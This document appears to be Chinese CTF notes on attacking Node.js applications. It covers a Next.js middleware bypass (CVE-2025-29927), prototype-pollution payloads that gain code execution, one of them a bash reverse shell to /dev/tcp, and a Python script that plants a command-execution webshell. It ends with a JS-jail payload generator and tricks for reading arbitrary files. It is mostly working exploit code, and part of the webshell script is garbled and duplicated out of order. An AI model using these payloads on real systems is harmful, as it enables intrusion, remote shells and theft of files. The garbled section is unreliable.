next_js 中间件绕过 cve-2025-29927

请求头加上 x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
出现新的 Etag,替换一下给 If-None-Match,然后访问/dashboard 即可

小知识

connect.sid 类型的 Cookie,常见于使用 Express.js 搭配 express-session 中间件构建的 Node.js 应用

原型链污染

原型链污染, 过滤了 __proto__, 用 constructor.prototype 绕过
ejs 模板注入
https://www.anquanke.com/post/id/236354

json
{
"username": "admin",
"password": "123456",
"constructor": {
"prototype": {
"client": true,
"escapeFunction": "1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');"
}
}
}

用了 fork

json
payload = {
"constructor": {
"prototype": {
"NODE_OPTIONS": "--require /proc/self/environ",
"env": {
"A":"require(\"child_process\").execSync(\"bash -c \'bash -i >& /dev/tcp/ip/port 0>&1\'\")//"
}
}
}
}
# 需要注意在 Payload 最后面有注释符 `//`,这里的思路跟 SQL 注入很像

不出网写 webshell

python
import requests
import re
import base64
from time import sleep

url = "http://url:port"

# 获取 token
# 随便发送点图片获取 token
files = [
('images', ('anno.png', open('./1.png', 'rb'), 'image/png')),
('images', ('soyo.png', open('./2.png', 'rb'), 'image/png'))
]
res = requests.post(url + "/upload", files=files)
token = res.headers.get('Set-Cookie')
match = re.search(r'token=([a-f0-9\-\.]+)', token)
if match:
token = match.group(1)
print(f"[+] token: {token}")
headers = {
'Cookie': f'token={token}'
}

# 通过原型链污染 env 注入恶意代码即可 RCE

# 写入 WebShell
webshell = """
const Koa = require('koa')
const Router = require('koa-router')
const app = new Koa()
const router = new Router()

router.get("/webshell", async (ctx) => {
const {cmd} = ctx.query
res = require('child_process').execSync(cmd).toString()
return ctx.body = {
res
}
})

app.use(router.routes())
app.listen(3000, () => {
console.log('http://127.0.0.1:3000')
})
"""

# 将 WebShell 内容 Base64 编码
encoded_webshell = base64.b64encode(webshell.encode()).decode()

# Base64 解码后写入文件
payload = {
"constructor": {
"prototype": {
"NODE_OPTIONS": "--require /proc/self/environ",
"env": {
"A": f"require(\"child_process\").execSync(\"echo {encoded_webshell} | base64 -d > /app/index.js\")//"
}
}
}
}

# 原型链污染rocess", headers=headers)
except Exception as e:
pass

sleep(2)
# 访问有回显的 WebShell
res = requests.get(url + "/webshell?cmd=cat /flag")
print(res.text)
next_js 中间件绕过 cve-2025-29927
小知识

requests.post(url + "/config", json=payload, headers=headers)

# 触发 fork 实现 RCE
try:
requests.post(url + "/process", headers=headers)
except Exception as e:
pass

sleep(2)
# 访问有回显的 WebShell
res = requests.get(url + "/webshell?cmd=cat /flag")
print(res.text)

jsjail

require(Common JS) 或 import(ES6)

py
import argparse

# 用于组装的loader

list1 = [
'(1).constructor.constructor("return {}.toString();")();',
'true.constructor.constructor("return {}.toString();")();',
'"1".constructor.constructor("return {}.toString();")();',
"setInterval(function(){{{}}},1000);(慎用,循环执行)",
"setTimeout(function(){{{}}},1000);",
"Function({})();",
]

# commonjs和ES6的方法
dict1 = {
"require": [
"require('child_process').exec('{}')",
"require('child_process').execSync('{}')",
"require('child_process').spawn('{}')",
"require('child_process').spawnSync('{}')",
"require('child_process').execFile('{}')",
"require('child_process').execFileSync('{}')",
"global.process.mainModule.constructor._load('child_process').exec('{}')",
],
"import": [
"import('child_process').then(cp=>{{cp.exec('{}');}})",
"global.process.mainModule.constructor._load('child_process').exec('{}')",
],
}


def test_for_sys(command, module):
flag = list()
module = str(module).lower()
if module not in ["commonjs", "es6"]:
print("module error only in Commonjs or ES6")
exit(1)
elif module == "commonjs":
for i in list1:
for j in dict1["require"]:
p = i.format(j.format(command))
flag.append(p)
else:
for i in list1:
for j in dict1["import"]:
p = i.format(j.format(command))
flag.append(p)

# 输出payload
for i in flag:
print(i)
# print("注意:nodejs版本>=14,process.mainModule被弃用")


# 脚本描述以及读取shell传入的变量
parser = argparse.ArgumentParser(
description="Description:This Program userd to generate Node.js Command execution payload"
)
parser.add_argument("--command", "-c", help="command eg:whoami", required=True)
parser.add_argument(
"--module", "-m", help="nodejs module eg:commonjs or ES6", default="commonjs"
)
args = parser.parse_args()

if __name__ == "__main__":
try:
test_for_sys(args.command, args.module)
except Exception as e:
print(e)

利用 process.binding 实现任意文件读取

当 ES6 的 js 文件使用了 eval 函数执行命令时,很不幸的事是:因为 import 不能和 require 共存,require 是用不了的,又因为 VM 的限制,在 await eval 里面不能使用 import,不然会报错。
一个测试:

js
import readline from "node:readline/promises";
using rl = readline.createInterface({ input: process.stdin, output: process.stderr });
await rl.question('eval>').then(eval).then(console.log);

一旦调用了 import,会报错
这里想了一个方法:nodejs 提供了一个底层 api:process.binding。你可以用这里面的 api 实现像 C++代码一样的执行命令。
里面的库还挺多,我只研究了 fs 库。

js
const bindingFs = process.binding("fs");
console.log(bindingFs);

会看到很多函数,这里主要关注 open,read 和 readdir

获取某个目录下的全部文件(如根目录)

js
eval(
`const bindingFs = process.binding("fs");const files = bindingFs.readdir("/", "utf8", {}); if (Array.isArray(files)) { console.log("成功! 文件列表:"); files.forEach((file) => { console.log(" - ", file); })}`
);

读取任意文件:

js
eval(`const bindingFs = process.binding("fs");console.log(bindingFs.read);const fd = bindingFs.open("flag.txt", 0, 0o666);const buffer = Buffer.alloc(1024);const bytesRead = bindingFs.read(fd, buffer, 0, buffer.length, 0);bindingFs.close(fd);console.log(buffer.slice(0, bytesRead).toString());
`);